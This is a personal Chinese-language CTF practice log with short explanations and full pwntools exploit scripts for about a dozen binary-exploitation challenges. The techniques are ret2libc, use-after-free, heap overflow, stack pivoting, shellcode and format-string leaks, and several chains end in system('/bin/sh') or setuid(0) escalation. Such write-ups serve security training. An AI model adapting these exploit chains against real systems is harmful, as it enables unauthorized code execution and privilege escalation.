刷题记录
[SWPUCTF 2022 新生赛]Integer Overflow
一道普通的libc,但是需要注意不能使用elf.sym来寻找system的地址,因为endbr32会保护plt表

所以我们顺着程序逻辑走之后栈溢出即可
exp:
from pwn import *
context(log_level='debug',arch='i386', os='linux')
p = remote('node5.anna.nssctf.cn',28462 )
elf = ELF('./pwn')
system = 0x08049104
sh= 0x804a008
p.sendlineafter('Tell me your choice:','1')
p.sendlineafter('First input the length of your name:','-1')
payload = flat([b'a'* (0x20 + 0x4) , system , 1, sh])
p.sendlineafter(b"name?",payload)
p.interactive()
[NISACTF 2022]UAF
(第一次尝试uaf题)
uaf原理
user-after-free漏洞是因为没有合理使用动态内存,在数据已经被删除或移动后原先的指针还被保留。指针本质上是内存地址和数据的一种对应关系,如果只处理了数据但是没有处理这种对应关系的话,就像你家被盗是因为上一个主人走后没换锁,别人拿着老的那把锁还能开你家的门。
程序的动态内存设计heap(堆),可以在一定范围内分配大量数据并且相对来说比较自由,可以修改、释放或者再程序的其他部分自由使用。当然在使用中要动态查找哪一个部分是有空缺的。
``
先看代码逻辑,应该是最简单的uaf了,只需要完成四个步骤然后找到NICO即可






exp:
from pwn import *
context(os='linux', arch='i386', log_level='debug')
# p = process(['./pwn'])
p = remote('node4.anna.nssctf.cn', 28004)
elf = ELF('./pwn')
def create_page():
p.sendlineafter(b':', b'1')
def delete_page(index):
p.sendlineafter(b':', b'3')
p.sendlineafter(b'Input page\n', str(index))
def edit_page(index, content):
p.sendlineafter(b':', b'2')
p.sendlineafter(b'Input page\n', str(index))
p.sendlineafter(b'Input your strings\n', content)
def show_page(index):
p.sendlineafter(b':', b'4')
p.sendlineafter(b'Input page\n', str(index))
# create page 0
create_page()
# delete page 0
delete_page(0)
# create page 1
create_page()
# edit page -> uaf
payload = flat(['sh\x00\x00', elf.sym['NICO']])
edit_page(1, payload)
# show page 0
show_page(0)
# 利用 show 功能 get_shell 的时候只能使用索引为 0 的堆块,而 edit 不能编辑索引为 0 的堆块,所以就要用到 UAF 了
p.interactive()

CISCN 华南 PWN4
本题为32位栈迁移

看到read和printf想到格式化字符串漏洞
因为是32位程序,用栈传递参数,所以找到esp位置,传入system的地址和/bin/sh后再从栈上退回即可实现提权
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('node5.anna.nssctf.cn',28355)
elf=ELF('./pwn2')
system_addr=elf.sym['system']
leave_addr=0x80485FD
payload1 = b'a'*0x27
p.sendlineafter('name?\n',payload1)
p.recvuntil('\n')
esp = u32(p.recv(4))-0x38
payload2 = b'a'*4+p32(system_addr)+p32(0)+p32(esp+0x10)+b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\0')
payload2+=p32(esp)+p32(leave_addr)
p.sendlineafter('\n',payload2)
p.interactive()

[HGAME 2023 week1]simple_shellcode
打开ida可以发现MEMORY[0xCAFE0000],根据hint调用read来读取flag,而read的范围比较小,手动扩大范围即可

exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=remote('node5.anna.nssctf.cn',28430)
#p=process("./shellcode")
p.recvuntil("shellcode:\n")
mmap_addr =0xcafe0000
shellcode=shellcraft.open("./flag")
shellcode+=shellcraft.read(3,mmap_addr+0x100,0x50)
shellcode+=shellcraft.write(1,mmap_addr+0x100,0x50)
shellcode=asm(shellcode)
p.send(asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall;"))
# 将rdi置零后把read的调用放里面
#print(len(asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall;")))
#查看扩展的范围是否足够
p.send(shellcode)
p.interactive()

[NISACTF 2022]ezheap
首先代码看一下,就是简单的malloc个heap空间,直接分配堆空间然后堆溢出即可

先随便输入一些数据,然后gdb调试一下发现heap是0x20,但是我们申请的是0x16,这是为什么呢?这是因为malloc_chunk要求chunk大小必须是 2 * SIZE_SZ 的整数倍,如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。而在32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。题目程序为32位,我们申请了0x16(22)个字节,再加上chunk header(也就是prev_size和size)的42=8个字节,一共22+8=30个字节,不是24=8的倍数,所以补齐到32个字节,也就是0x20

附图:


exp:
from pwn import *
context(log_level="debug",arch="amd64")
# p = remote("node4.anna.nssctf.cn",28184)
p = process("./../pwn")
elf = ELF("./../pwn")
p.recvuntil("Input:\n")
#0x20为整个chunk的大小,减去0x8(也就是prev_size和size)就是剩下的userdata,加上0x8(也就是下一个chunk的prev_size和size),这样就到达了下一个chunk的userdata部分,输入命令就行了。
payload = b'A' * (0x20-0x8 + 0x8) + b'/bin/sh'
p.sendline(payload)
p.interactive()
[HNCTF 2022 WEEK4]ezheap
是一道heap的模板题,通过adse几个功能实现对堆上的操作
因为程序中有puts函数,泄露出函数的偏移和基地址,再去使用libc库中的system函数实现提权,获取shell
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./pwn')
p = remote("node5.anna.nssctf.cn",28668)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
def lg(x, y): return log.success(f'{x}: {hex(y)}')
def choice(index):
p.sendlineafter(b'Choice: \n', str(index).encode())
def add(index, size, name, content):
choice(1)
p.sendlineafter(b'idx:\n', str(index).encode())
p.sendlineafter(b'Size:\n', str(size).encode())
p.sendlineafter(b'Name: \n', name)
p.sendlineafter(b'Content:\n', content)
def edit(index, size, data):
choice(4)
p.sendlineafter(b'idx:\n', str(index).encode())
p.sendlineafter(b'Size:\n', str(size).encode())
p.send(data)
def free(index):
choice(2)
p.sendlineafter(b'idx:\n', str(index).encode())
def show(index):
choice(3)
p.sendlineafter(b'idx:\n', str(index).encode())
add(0, 0x10, b'00000000', b'AAAAAAAA')
add(1, 0x10, b'11111111', b'BBBBBBBB')
payload = b"CCCCCCCC"*8
edit(0, 0x40, payload)
show(0)
p.recvuntil(b"CCCCCCCC"*8)
puts_addr = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))
lg("puts_addr: ", puts_addr)
libc_base = puts_addr - libc.sym['puts']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
lg("binsh: ", binsh)
lg("system: ", system)
payload = b"DDDDDDDD"*4
payload += b"/bin/sh\x00"
payload += p64(0)
payload += b"DDDDDDDD"*2
payload += p64(system)
payload += p64(0)
edit(0, 0x60, payload)
show(1)
p.interactive()

LACTF 2024 sus
一道libc题,找出偏移量之后泄露puts地址,然后算基地址偏移,找system函数和/bin/sh字串位置(压缩包里的libc库有点问题,自己找了个2.35的换一下)
无法直接传参进入rdi,找个汇编片段间接传参

exp:
from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")
p = process('./sus')
elf = ELF('./sus')
libc = ELF('./libc.so.6')
puts_plt = 0x401030
puts_got = 0x404000
main_addr = 0x401151
pop_rdi_ret = 0x401190
ret = 0x401016
payload = b'a'*56 + p64(puts_got) + p64(0) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("sus?\n",payload)
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search(b'/bin/sh'))
print("base = ",hex(libc_base))
print("sys = ",hex(system_addr))
print("bin = ",hex(bin_addr))
payload = b'b'*56 + p64(bin_addr) + p64(0) + p64(ret)+ p64(system_addr)
p.sendline(payload)
p.interactive()

[LitCTF 2023]狠狠的溢出涅~
一道ret2libc模板题,只需要泄露puts函数的got表后找偏移,ropgadget找个ret,剩下的都在链接库里,比较简单
只需要注意一下strlen函数的\x00绕过即可

exp:
from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")
#p = process('./pwn')
p = remote('node4.anna.nssctf.cn',28190)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
pop_rdi_ret = 0x4007d3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret_addr = 0x400556
main_add = elf.sym['main']
#b"\x00".ljust(0x68,b'a')
payload1 = b'\x00'*(0x60+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_add)
p.sendlineafter("message:\n",payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base+next(libc.search(b"/bin/sh\x00"))
print(hex(puts_addr))
print(hex(system))
print(hex(binsh))
payload2 = b'\x00'*(0x60+8) + p64(ret_addr) + p64(pop_rdi_ret) +p64(binsh) + p64(system)
p.sendlineafter('message:\n',payload2)
p.interactive()

[NISACTF 2022]Hacknote
因为free掉note和content之后,没有将指针置空,所以导致了UAF漏洞

由于LIFO原则,也就是后进先出,我们这次申请到的第一个note_chunk_2,其实是上次的note_chunk_1,而content_chunk_2,实际上是上一次的note_chunk_0,通过content_chunk_2的content,我们可以写入我们需要执行的命令,magic函数

content也就是magic函数的地址,覆盖print_note_content函数的指针,成功劫持了程序控制流
exp:
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug")
p = process('./pwn')
def add(size_c, content):
p.recvuntil(b'choice :')
p.sendline(b'1')
p.recvuntil(b'size :')
p.sendline(str(size_c))
p.recvuntil(b'Content :')
p.sendline(content)
def free(index):
p.recvuntil(b'choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index))
def print(index):
p.recvuntil(b'choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index))
magic_addr = 0x8048945
add(16, b'aaaaaa')
add(16, b'aaaaaa')
free(0)
free(1)
add(8, p32(magic_addr))
print(0)
p.interactive()

[NKCTF 2024] maimai
一道难度中等的栈溢出题目。有两个漏洞,一个是符合分数要求的格式化字符串漏洞来泄露libc和canary,另一个是read函数的栈溢出
需要注意一下,本地打通之后在远端并不能拿到root权限,只是一个低权限shell,ls -al之后看到pwn程序有s权限,这时候可以找到setuid权限,可以在ROP链中加入setuid(0)即可提权。或者第二种方法orw做题(做出来第二种方法再更)
exp:
from pwn import *
context(log_level="debug",arch="amd64")
#p = remote("node5.anna.nssctf.cn",28645)
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF('./libc.so.6')
p.recvuntil("Select a option:")
p.sendline(b'1')
for i in range(0,50):
p.sendline(b'15.0 SS')
p.recvuntil("Select a option:")
p.sendline(b'2')
p.sendlineafter("Input your nickname.\n",b'%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
log.info('canary'+':'+hex(canary))
#gdb.attach(p)
#pause()
p.sendafter(b"Can you teach me how to play maimai?\n",b'1')
p.sendlineafter(b'option:', b'2')
p.sendafter(b'nickname.\n', "%13$p")
p.recvuntil(b'0x')
libc.address = int(p.recv(12), 16) - 0x29d90
log.info('libc.address'+':'+hex(libc.address))
pop_rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29139
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
setuid = libc.sym['setuid']
payload = b'a' * (0x28) + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(0) + p64(setuid) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendafter(b'maimai?', payload)
p.interactive()

[NKCTF 2024] leek
pwn和密码的结合(这次比赛好多结合体,要拓宽方向了)
中国剩余定理
题目一开始允许输入6字节,并将这6个数字作为模返stdout的余数,并同时返回一个栈指针的尾地址
通过适当输入6个素数和返回的地址可以得到libc地址(通过CRT),得到的值比真实libc要小需要加模爆破64位系统,libc的加载地址首字节0x7f(大多数情况下),尾部12位固定不变,所以可以通过首字节确定爆破的结果是否正确,当首字节为0x7f尾12位相同时可以确定libc地址和版本。
之后通过一字节的溢出,把libc地址放在指针后面
memcpy时将payload复制到返回地址位置来实现ROP
exp:
from pwn import *
from sympy.ntheory.modular import crt
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
p = process('./leak')
#gdb.attach(p, "b*0x555555555296\nc")
ps = [101,103,107,109,113,127]
cs = [0]*6
p.sendafter(b'\n',bytes(ps))
for i inrange(6):
cs[i] = p.recv(1)[0]
stack = p.recv(1)[0]
stdout,pd = crt(ps,cs)
stdout,pd = int(stdout),int(pd)
print(hex(stdout), hex(pd))
while stdout&0xfff != 0x760:
stdout+=pd
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
print(f'{libc.address = :x}')
print(stdout)
pop_rdi = libc.address + 0x27725 #0x2a3e5
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
print(f"{pop_rdi:x}{bin_sh:x}{system:x}")
print(pop_rdi,bin_sh,system)
pay = flat(pop_rdi+1, pop_rdi, bin_sh, system) + p8((stack+0x58)&0xff)
p.send(pay)
print(stdout)
p.interactive()
TUTCTF pwn ezrop
```py
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
p = remote('36.212.170.17', 9997)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
padding = 0x98
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4011FC
pop_rdi_ret = 0x401183
ret = 0x40101a
payload = b'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendline(payload)
p.recvline()
puts_real = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(puts_real))
libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))
print(hex(system_addr))
print(hex(bin_sh_addr))
# gdb.attach(p)
payload2 = b'a' * padding
payload2 += p64(ret)
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
p.sendline(payload2)
# sleep(1)
p.interactive()